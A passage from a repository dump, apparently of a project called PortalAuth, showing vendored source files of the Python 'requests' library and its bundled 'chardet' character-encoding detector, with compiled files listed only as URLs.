.packages.urllib3.contrib import pyopenssl 54 | pyopenssl.inject_into_urllib3() 55 | except ImportError: 56 | pass 57 | 58 | from . import utils 59 | from .models import Request, Response, PreparedRequest 60 | from .api import request, get, head, post, patch, put, delete, options 61 | from .sessions import session, Session 62 | from .status_codes import codes 63 | from .exceptions import ( 64 | RequestException, Timeout, URLRequired, 65 | TooManyRedirects, HTTPError, ConnectionError 66 | ) 67 | 68 | # Set default logging handler to avoid "No handler found" warnings. 69 | import logging 70 | try: # Python 2.7+ 71 | from logging import NullHandler 72 | except ImportError: 73 | class NullHandler(logging.Handler): 74 | def emit(self, record): 75 | pass 76 | 77 | logging.getLogger(__name__).addHandler(NullHandler()) 78 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/adapters.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/adapters.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/api.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/api.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/auth.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/auth.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/certs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | """ 5 | certs.py 6 | ~~~~~~~~ 7 | 8 | This module returns the preferred default CA certificate bundle. 9 | 10 | If you are packaging Requests, e.g., for a Linux distribution or a managed 11 | environment, you can change the definition of where() to return a separately 12 | packaged CA bundle. 13 | """ 14 | import os.path 15 | 16 | try: 17 | from certifi import where 18 | except ImportError: 19 | def where(): 20 | """Return the preferred certificate bundle.""" 21 | # vendored bundle inside Requests 22 | return os.path.join(os.path.dirname(__file__), 'cacert.pem') 23 | 24 | if __name__ == '__main__': 25 | print(where()) 26 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/certs.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/certs.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/compat.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | pythoncompat 5 | """ 6 | 7 | from .packages import chardet 8 | 9 | import sys 10 | 11 | # ------- 12 | # Pythons 13 | # ------- 14 | 15 | # Syntax sugar. 16 | _ver = sys.version_info 17 | 18 | #: Python 2.x? 19 | is_py2 = (_ver[0] == 2) 20 | 21 | #: Python 3.x? 22 | is_py3 = (_ver[0] == 3) 23 | 24 | #: Python 3.0.x 25 | is_py30 = (is_py3 and _ver[1] == 0) 26 | 27 | #: Python 3.1.x 28 | is_py31 = (is_py3 and _ver[1] == 1) 29 | 30 | #: Python 3.2.x 31 | is_py32 = (is_py3 and _ver[1] == 2) 32 | 33 | #: Python 3.3.x 34 | is_py33 = (is_py3 and _ver[1] == 3) 35 | 36 | #: Python 3.4.x 37 | is_py34 = (is_py3 and _ver[1] == 4) 38 | 39 | #: Python 2.7.x 40 | is_py27 = (is_py2 and _ver[1] == 7) 41 | 42 | #: Python 2.6.x 43 | is_py26 = (is_py2 and _ver[1] == 6) 44 | 45 | #: Python 2.5.x 46 | is_py25 = (is_py2 and _ver[1] == 5) 47 | 48 | #: Python 2.4.x 49 | is_py24 = (is_py2 and _ver[1] == 4) # I'm assuming this is not by choice. 50 | 51 | 52 | # --------- 53 | # Platforms 54 | # --------- 55 | 56 | 57 | # Syntax sugar. 58 | _ver = sys.version.lower() 59 | 60 | is_pypy = ('pypy' in _ver) 61 | is_jython = ('jython' in _ver) 62 | is_ironpython = ('iron' in _ver) 63 | 64 | # Assume CPython, if nothing else. 65 | is_cpython = not any((is_pypy, is_jython, is_ironpython)) 66 | 67 | # Windows-based system. 68 | is_windows = 'win32' in str(sys.platform).lower() 69 | 70 | # Standard Linux 2+ system. 71 | is_linux = ('linux' in str(sys.platform).lower()) 72 | is_osx = ('darwin' in str(sys.platform).lower()) 73 | is_hpux = ('hpux' in str(sys.platform).lower()) # Complete guess. 74 | is_solaris = ('solar==' in str(sys.platform).lower()) # Complete guess. 75 | 76 | try: 77 | import simplejson as json 78 | except (ImportError, SyntaxError): 79 | # simplejson does not support Python 3.2, it throws a SyntaxError 80 | # because of u'...' Unicode literals. 81 | import json 82 | 83 | # --------- 84 | # Specifics 85 | # --------- 86 | 87 | if is_py2: 88 | from urllib import quote, unquote, quote_plus, unquote_plus, urlencode, getproxies, proxy_bypass 89 | from urlparse import urlparse, urlunparse, urljoin, urlsplit, urldefrag 90 | from urllib2 import parse_http_list 91 | import cookielib 92 | from Cookie import Morsel 93 | from StringIO import StringIO 94 | from .packages.urllib3.packages.ordered_dict import OrderedDict 95 | 96 | builtin_str = str 97 | bytes = str 98 | str = unicode 99 | basestring = basestring 100 | numeric_types = (int, long, float) 101 | 102 | 103 | elif is_py3: 104 | from urllib.parse import urlparse, urlunparse, urljoin, urlsplit, urlencode, quote, unquote, quote_plus, unquote_plus, urldefrag 105 | from urllib.request import parse_http_list, getproxies, proxy_bypass 106 | from http import cookiejar as cookielib 107 | from http.cookies import Morsel 108 | from io import StringIO 109 | from collections import OrderedDict 110 | 111 | builtin_str = str 112 | str = str 113 | bytes = bytes 114 | basestring = (str, bytes) 115 | numeric_types = (int, float) 116 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/compat.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/compat.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/cookies.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/cookies.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/exceptions.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | requests.exceptions 5 | ~~~~~~~~~~~~~~~~~~~ 6 | 7 | This module contains the set of Requests' exceptions. 8 | 9 | """ 10 | from .packages.urllib3.exceptions import HTTPError as BaseHTTPError 11 | 12 | 13 | class RequestException(IOError): 14 | """There was an ambiguous exception that occurred while handling your 15 | request.""" 16 | 17 | def __init__(self, *args, **kwargs): 18 | """ 19 | Initialize RequestException with `request` and `response` objects. 20 | """ 21 | response = kwargs.pop('response', None) 22 | self.response = response 23 | self.request = kwargs.pop('request', None) 24 | if (response is not None and not self.request and 25 | hasattr(response, 'request')): 26 | self.request = self.response.request 27 | super(RequestException, self).__init__(*args, **kwargs) 28 | 29 | 30 | class HTTPError(RequestException): 31 | """An HTTP error occurred.""" 32 | 33 | 34 | class ConnectionError(RequestException): 35 | """A Connection error occurred.""" 36 | 37 | 38 | class ProxyError(ConnectionError): 39 | """A proxy error occurred.""" 40 | 41 | 42 | class SSLError(ConnectionError): 43 | """An SSL error occurred.""" 44 | 45 | 46 | class Timeout(RequestException): 47 | """The request timed out. 48 | 49 | Catching this error will catch both 50 | :exc:`~requests.exceptions.ConnectTimeout` and 51 | :exc:`~requests.exceptions.ReadTimeout` errors. 52 | """ 53 | 54 | 55 | class ConnectTimeout(ConnectionError, Timeout): 56 | """The request timed out while trying to connect to the remote server. 57 | 58 | Requests that produced this error are safe to retry. 59 | """ 60 | 61 | 62 | class ReadTimeout(Timeout): 63 | """The server did not send any data in the allotted amount of time.""" 64 | 65 | 66 | class URLRequired(RequestException): 67 | """A valid URL is required to make a request.""" 68 | 69 | 70 | class TooManyRedirects(RequestException): 71 | """Too many redirects.""" 72 | 73 | 74 | class MissingSchema(RequestException, ValueError): 75 | """The URL schema (e.g. http or https) is missing.""" 76 | 77 | 78 | class InvalidSchema(RequestException, ValueError): 79 | """See defaults.py for valid schemas.""" 80 | 81 | 82 | class InvalidURL(RequestException, ValueError): 83 | """ The URL provided was somehow invalid. """ 84 | 85 | 86 | class ChunkedEncodingError(RequestException): 87 | """The server declared chunked encoding but sent an invalid chunk.""" 88 | 89 | 90 | class ContentDecodingError(RequestException, BaseHTTPError): 91 | """Failed to decode response content""" 92 | 93 | 94 | class StreamConsumedError(RequestException, TypeError): 95 | """The content for this response was already consumed""" 96 | 97 | 98 | class RetryError(RequestException): 99 | """Custom retries logic failed""" 100 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/exceptions.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/exceptions.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/hooks.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | 3 | """ 4 | requests.hooks 5 | ~~~~~~~~~~~~~~ 6 | 7 | This module provides the capabilities for the Requests hooks system. 8 | 9 | Available hooks: 10 | 11 | ``response``: 12 | The response generated from a Request. 13 | 14 | """ 15 | 16 | 17 | HOOKS = ['response'] 18 | 19 | 20 | def default_hooks(): 21 | hooks = {} 22 | for event in HOOKS: 23 | hooks[event] = [] 24 | return hooks 25 | 26 | # TODO: response is the only one 27 | 28 | 29 | def dispatch_hook(key, hooks, hook_data, **kwargs): 30 | """Dispatches a hook dictionary on a given piece of data.""" 31 | 32 | hooks = hooks or dict() 33 | 34 | if key in hooks: 35 | hooks = hooks.get(key) 36 | 37 | if hasattr(hooks, '__call__'): 38 | hooks = [hooks] 39 | 40 | for hook in hooks: 41 | _hook_data = hook(hook_data, **kwargs) 42 | if _hook_data is not None: 43 | hook_data = _hook_data 44 | 45 | return hook_data 46 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/hooks.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/hooks.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/models.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/models.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/README.rst: -------------------------------------------------------------------------------- 1 | If you are planning to submit a pull request to requests with any changes in 2 | this library do not go any further. These are independent libraries which we 3 | vendor into requests. Any changes necessary to these libraries must be made in 4 | them and submitted as separate pull requests to those libraries. 5 | 6 | urllib3 pull requests go here: https://github.com/shazow/urllib3 7 | 8 | chardet pull requests go here: https://github.com/chardet/chardet 9 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/__init__.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # This library is free software; you can redistribute it and/or 3 | # modify it under the terms of the GNU Lesser General Public 4 | # License as published by the Free Software Foundation; either 5 | # version 2.1 of the License, or (at your option) any later version. 6 | # 7 | # This library is distributed in the hope that it will be useful, 8 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 9 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 10 | # Lesser General Public License for more details. 11 | # 12 | # You should have received a copy of the GNU Lesser General Public 13 | # License along with this library; if not, write to the Free Software 14 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 15 | # 02110-1301 USA 16 | ######################### END LICENSE BLOCK ######################### 17 | 18 | __version__ = "2.3.0" 19 | from sys import version_info 20 | 21 | 22 | def detect(aBuf): 23 | if ((version_info < (3, 0) and isinstance(aBuf, unicode)) or 24 | (version_info >= (3, 0) and not isinstance(aBuf, bytes))): 25 | raise ValueError('Expected a bytes object, not a unicode object') 26 | 27 | from . import universaldetector 28 | u = universaldetector.UniversalDetector() 29 | u.reset() 30 | u.feed(aBuf) 31 | u.close() 32 | return u.result 33 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/__init__.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/sud0nick/PortalAuth/dedc272b3b0ff5dbb842bdd4eaa649e75c810198/includes/scripts/libs/requests/packages/chardet/__init__.pyc -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/big5prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Communicator client code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import Big5DistributionAnalysis 31 | from .mbcssm import Big5SMModel 32 | 33 | 34 | class Big5Prober(MultiByteCharSetProber): 35 | def __init__(self): 36 | MultiByteCharSetProber.__init__(self) 37 | self._mCodingSM = CodingStateMachine(Big5SMModel) 38 | self._mDistributionAnalyzer = Big5DistributionAnalysis() 39 | self.reset() 40 | 41 | def get_charset_name(self): 42 | return "Big5" 43 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/chardetect.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | """ 3 | Script which takes one or more file paths and reports on their detected 4 | encodings 5 | 6 | Example:: 7 | 8 | % chardetect somefile someotherfile 9 | somefile: windows-1252 with confidence 0.5 10 | someotherfile: ascii with confidence 1.0 11 | 12 | If no paths are provided, it takes its input from stdin. 13 | 14 | """ 15 | 16 | from __future__ import absolute_import, print_function, unicode_literals 17 | 18 | import argparse 19 | import sys 20 | from io import open 21 | 22 | from chardet import __version__ 23 | from chardet.universaldetector import UniversalDetector 24 | 25 | 26 | def description_of(lines, name='stdin'): 27 | """ 28 | Return a string describing the probable encoding of a file or 29 | list of strings. 30 | 31 | :param lines: The lines to get the encoding of. 32 | :type lines: Iterable of bytes 33 | :param name: Name of file or collection of lines 34 | :type name: str 35 | """ 36 | u = UniversalDetector() 37 | for line in lines: 38 | u.feed(line) 39 | u.close() 40 | result = u.result 41 | if result['encoding']: 42 | return '{0}: {1} with confidence {2}'.format(name, result['encoding'], 43 | result['confidence']) 44 | else: 45 | return '{0}: no result'.format(name) 46 | 47 | 48 | def main(argv=None): 49 | ''' 50 | Handles command line arguments and gets things started. 51 | 52 | :param argv: List of arguments, as if specified on the command-line. 53 | If None, ``sys.argv[1:]`` is used instead. 54 | :type argv: list of str 55 | ''' 56 | # Get command line arguments 57 | parser = argparse.ArgumentParser( 58 | description="Takes one or more file paths and reports their detected \ 59 | encodings", 60 | formatter_class=argparse.ArgumentDefaultsHelpFormatter, 61 | conflict_handler='resolve') 62 | parser.add_argument('input', 63 | help='File whose encoding we would like to determine.', 64 | type=argparse.FileType('rb'), nargs='*', 65 | default=[sys.stdin]) 66 | parser.add_argument('--version', action='version', 67 | version='%(prog)s {0}'.format(__version__)) 68 | args = parser.parse_args(argv) 69 | 70 | for f in args.input: 71 | if f.isatty(): 72 | print("You are running chardetect interactively. Press " + 73 | "CTRL-D twice at the start of a blank line to signal the " + 74 | "end of your input. If you want help, run chardetect " + 75 | "--help\n", file=sys.stderr) 76 | print(description_of(f, f.name)) 77 | 78 | 79 | if __name__ == '__main__': 80 | main() 81 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/charsetprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # 13 | # This library is free software; you can redistribute it and/or 14 | # modify it under the terms of the GNU Lesser General Public 15 | # License as published by the Free Software Foundation; either 16 | # version 2.1 of the License, or (at your option) any later version. 17 | # 18 | # This library is distributed in the hope that it will be useful, 19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 21 | # Lesser General Public License for more details. 22 | # 23 | # You should have received a copy of the GNU Lesser General Public 24 | # License along with this library; if not, write to the Free Software 25 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 26 | # 02110-1301 USA 27 | ######################### END LICENSE BLOCK ######################### 28 | 29 | from . import constants 30 | import re 31 | 32 | 33 | class CharSetProber: 34 | def __init__(self): 35 | pass 36 | 37 | def reset(self): 38 | self._mState = constants.eDetecting 39 | 40 | def get_charset_name(self): 41 | return None 42 | 43 | def feed(self, aBuf): 44 | pass 45 | 46 | def get_state(self): 47 | return self._mState 48 | 49 | def get_confidence(self): 50 | return 0.0 51 | 52 | def filter_high_bit_only(self, aBuf): 53 | aBuf = re.sub(b'([\x00-\x7F])+', b' ', aBuf) 54 | return aBuf 55 | 56 | def filter_without_english_letters(self, aBuf): 57 | aBuf = re.sub(b'([A-Za-z])+', b' ', aBuf) 58 | return aBuf 59 | 60 | def filter_with_english_letters(self, aBuf): 61 | # TODO 62 | return aBuf 63 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/codingstatemachine.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .constants import eStart 29 | from .compat import wrap_ord 30 | 31 | 32 | class CodingStateMachine: 33 | def __init__(self, sm): 34 | self._mModel = sm 35 | self._mCurrentBytePos = 0 36 | self._mCurrentCharLen = 0 37 | self.reset() 38 | 39 | def reset(self): 40 | self._mCurrentState = eStart 41 | 42 | def next_state(self, c): 43 | # for each byte we get its class 44 | # if it is first byte, we also get byte length 45 | # PY3K: aBuf is a byte stream, so c is an int, not a byte 46 | byteCls = self._mModel['classTable'][wrap_ord(c)] 47 | if self._mCurrentState == eStart: 48 | self._mCurrentBytePos = 0 49 | self._mCurrentCharLen = self._mModel['charLenTable'][byteCls] 50 | # from byte's class and stateTable, we get its next state 51 | curr_state = (self._mCurrentState * self._mModel['classFactor'] 52 | + byteCls) 53 | self._mCurrentState = self._mModel['stateTable'][curr_state] 54 | self._mCurrentBytePos += 1 55 | return self._mCurrentState 56 | 57 | def get_current_charlen(self): 58 | return self._mCurrentCharLen 59 | 60 | def get_coding_state_machine(self): 61 | return self._mModel['name'] 62 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/compat.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # Contributor(s): 3 | # Ian Cordasco - port to Python 4 | # 5 | # This library is free software; you can redistribute it and/or 6 | # modify it under the terms of the GNU Lesser General Public 7 | # License as published by the Free Software Foundation; either 8 | # version 2.1 of the License, or (at your option) any later version. 9 | # 10 | # This library is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 13 | # Lesser General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU Lesser General Public 16 | # License along with this library; if not, write to the Free Software 17 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 18 | # 02110-1301 USA 19 | ######################### END LICENSE BLOCK ######################### 20 | 21 | import sys 22 | 23 | 24 | if sys.version_info < (3, 0): 25 | base_str = (str, unicode) 26 | else: 27 | base_str = (bytes, str) 28 | 29 | 30 | def wrap_ord(a): 31 | if sys.version_info < (3, 0) and isinstance(a, base_str): 32 | return ord(a) 33 | else: 34 | return a 35 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/constants.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is Mozilla Universal charset detector code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 2001 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # Shy Shalom - original C code 12 | # 13 | # This library is free software; you can redistribute it and/or 14 | # modify it under the terms of the GNU Lesser General Public 15 | # License as published by the Free Software Foundation; either 16 | # version 2.1 of the License, or (at your option) any later version. 17 | # 18 | # This library is distributed in the hope that it will be useful, 19 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 20 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 21 | # Lesser General Public License for more details. 22 | # 23 | # You should have received a copy of the GNU Lesser General Public 24 | # License along with this library; if not, write to the Free Software 25 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 26 | # 02110-1301 USA 27 | ######################### END LICENSE BLOCK ######################### 28 | 29 | _debug = 0 30 | 31 | eDetecting = 0 32 | eFoundIt = 1 33 | eNotMe = 2 34 | 35 | eStart = 0 36 | eError = 1 37 | eItsMe = 2 38 | 39 | SHORTCUT_THRESHOLD = 0.95 40 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/cp949prober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCKRDistributionAnalysis 31 | from .mbcssm import CP949SMModel 32 | 33 | 34 | class CP949Prober(MultiByteCharSetProber): 35 | def __init__(self): 36 | MultiByteCharSetProber.__init__(self) 37 | self._mCodingSM = CodingStateMachine(CP949SMModel) 38 | # NOTE: CP949 is a superset of EUC-KR, so the distribution should be 39 | # not different. 40 | self._mDistributionAnalyzer = EUCKRDistributionAnalysis() 41 | self.reset() 42 | 43 | def get_charset_name(self): 44 | return "CP949" 45 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/escprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from . import constants 29 | from .escsm import (HZSMModel, ISO2022CNSMModel, ISO2022JPSMModel, 30 | ISO2022KRSMModel) 31 | from .charsetprober import CharSetProber 32 | from .codingstatemachine import CodingStateMachine 33 | from .compat import wrap_ord 34 | 35 | 36 | class EscCharSetProber(CharSetProber): 37 | def __init__(self): 38 | CharSetProber.__init__(self) 39 | self._mCodingSM = [ 40 | CodingStateMachine(HZSMModel), 41 | CodingStateMachine(ISO2022CNSMModel), 42 | CodingStateMachine(ISO2022JPSMModel), 43 | CodingStateMachine(ISO2022KRSMModel) 44 | ] 45 | self.reset() 46 | 47 | def reset(self): 48 | CharSetProber.reset(self) 49 | for codingSM in self._mCodingSM: 50 | if not codingSM: 51 | continue 52 | codingSM.active = True 53 | codingSM.reset() 54 | self._mActiveSM = len(self._mCodingSM) 55 | self._mDetectedCharset = None 56 | 57 | def get_charset_name(self): 58 | return self._mDetectedCharset 59 | 60 | def get_confidence(self): 61 | if self._mDetectedCharset: 62 | return 0.99 63 | else: 64 | return 0.00 65 | 66 | def feed(self, aBuf): 67 | for c in aBuf: 68 | # PY3K: aBuf is a byte array, so c is an int, not a byte 69 | for codingSM in self._mCodingSM: 70 | if not codingSM: 71 | continue 72 | if not codingSM.active: 73 | continue 74 | codingState = codingSM.next_state(wrap_ord(c)) 75 | if codingState == constants.eError: 76 | codingSM.active = False 77 | self._mActiveSM -= 1 78 | if self._mActiveSM <= 0: 79 | self._mState = constants.eNotMe 80 | return self.get_state() 81 | elif codingState == constants.eItsMe: 82 | self._mState = constants.eFoundIt 83 | self._mDetectedCharset = codingSM.get_coding_state_machine() # nopep8 84 | return self.get_state() 85 | 86 | return self.get_state() 87 | -------------------------------------------------------------------------------- /includes/scripts/libs/requests/packages/chardet/euckrprober.py: -------------------------------------------------------------------------------- 1 | ######################## BEGIN LICENSE BLOCK ######################## 2 | # The Original Code is mozilla.org code. 3 | # 4 | # The Initial Developer of the Original Code is 5 | # Netscape Communications Corporation. 6 | # Portions created by the Initial Developer are Copyright (C) 1998 7 | # the Initial Developer. All Rights Reserved. 8 | # 9 | # Contributor(s): 10 | # Mark Pilgrim - port to Python 11 | # 12 | # This library is free software; you can redistribute it and/or 13 | # modify it under the terms of the GNU Lesser General Public 14 | # License as published by the Free Software Foundation; either 15 | # version 2.1 of the License, or (at your option) any later version. 16 | # 17 | # This library is distributed in the hope that it will be useful, 18 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 19 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 20 | # Lesser General Public License for more details. 21 | # 22 | # You should have received a copy of the GNU Lesser General Public 23 | # License along with this library; if not, write to the Free Software 24 | # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 25 | # 02110-1301 USA 26 | ######################### END LICENSE BLOCK ######################### 27 | 28 | from .mbcharsetprober import MultiByteCharSetProber 29 | from .codingstatemachine import CodingStateMachine 30 | from .chardistribution import EUCKRDistributionAnalysis 31 | from .mbcssm import EUCKRSMModel 32 | 33 | 34 | class EUCKRProber(MultiByteCharSetProber): 35 | def __init__(self): 36 | MultiByteCharSetProber.__init__(self) 37 | self._mCodingSM = CodingStateMachine(EUCKRSMModel) 38 | self._mDistributionAnalyzer = 